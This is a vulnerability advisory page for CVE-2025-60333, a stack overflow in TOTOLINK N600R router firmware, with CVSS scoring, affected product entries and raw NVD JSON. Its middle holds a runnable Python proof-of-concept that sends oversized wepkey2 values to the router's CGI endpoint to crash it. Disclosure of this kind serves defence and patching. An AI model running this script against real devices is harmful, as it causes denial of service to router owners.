Security Vulnerability Report
中文
CVE-2025-60333 CVSS 7.5 HIGH

CVE-2025-60333

Published: 2025-10-22 16:15:45
Last Modified: 2025-10-24 13:19:13

Description

TOTOLINK N600R v4.3.0cu.7866_B20220506 was discovered to contain a stack overflow in the wepkey2 parameter in the setWiFiMultipleConfig function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:totolink:n600r_firmware:4.3.0cu.7866_b20220506:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:n600r:-:*:*:*:*:*:*:* - NOT VULNERABLE
TOTOLINK N600R v4.3.0cu.7866_B20220506

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-60333 PoC TOTOLINK N600R Stack Overflow in wepkey2 parameter (setWiFiMultipleConfig) This PoC demonstrates sending a crafted request to trigger the stack overflow. """ import requests import sys target_ip = "192.168.0.1" # Default TOTOLINK router IP target_port = 80 def create_exploit_payload(payload_size=1000): """Generate overflow payload for wepkey2 parameter""" # Create a long string to overflow the stack buffer overflow_pattern = "A" * payload_size return overflow_pattern def exploit_cve_2025_60333(target_ip, payload_size=1000): """ Send malicious request to trigger stack overflow in wepkey2 parameter """ url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Craft the malicious payload for wepkey2 parameter payload = { "topicurl": "setWiFiMultipleConfig", "wepkey2": create_exploit_payload(payload_size), "wepkey1": "test", "wifi_hidden": "0" } print(f"[*] Sending exploit payload ({payload_size} bytes) to {target_ip}...") print(f"[*] Target URL: {url}") print(f"[*] Payload size: {len(payload['wepkey2'])} bytes") try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[!] Response Status: {response.status_code}") return True except requests.exceptions.Timeout: print("[+] Target did not respond (possible crash/DoS)") return True except requests.exceptions.ConnectionError: print("[+] Connection failed - target may be down") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) > 1: target_ip = sys.argv[1] print("=" * 60) print("CVE-2025-60333 PoC - TOTOLINK N600R Stack Overflow") print("=" * 60) # Send multiple payloads with increasing sizes for size in [500, 1000, 2000, 4000]: print(f"\n[*] Attempting with payload size: {size}") exploit_cve_2025_60333(target_ip, size) print("\n[+] Exploit attempts completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60333", "sourceIdentifier": "[email protected]", "published": "2025-10-22T16:15:44.827", "lastModified": "2025-10-24T13:19:12.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TOTOLINK N600R v4.3.0cu.7866_B20220506 was discovered to contain a stack overflow in the wepkey2 parameter in the setWiFiMultipleConfig function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:n600r_firmware:4.3.0cu.7866_b20220506:*:*:*:*:*:*:*", "matchCriteriaId": "FE44B6CE-CB41-4D9E-B3EE-2F9049A431BF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:n600r:-:*:*:*:*:*:*:*", "matchCriteriaId": "601C2FBE-B584-40B9-BBD7-7BF2A14CA694"}]}]}], "references": [{"url": "https://github.com/z472421519/BinaryAudit/blob/main/PoC/BOF/TOTOLINK/wepkey2/wepkey2.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/z472421519/BinaryAudit/blob/main/PoC/BOF/TOTOLINK/wepkey2/wepkey2.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}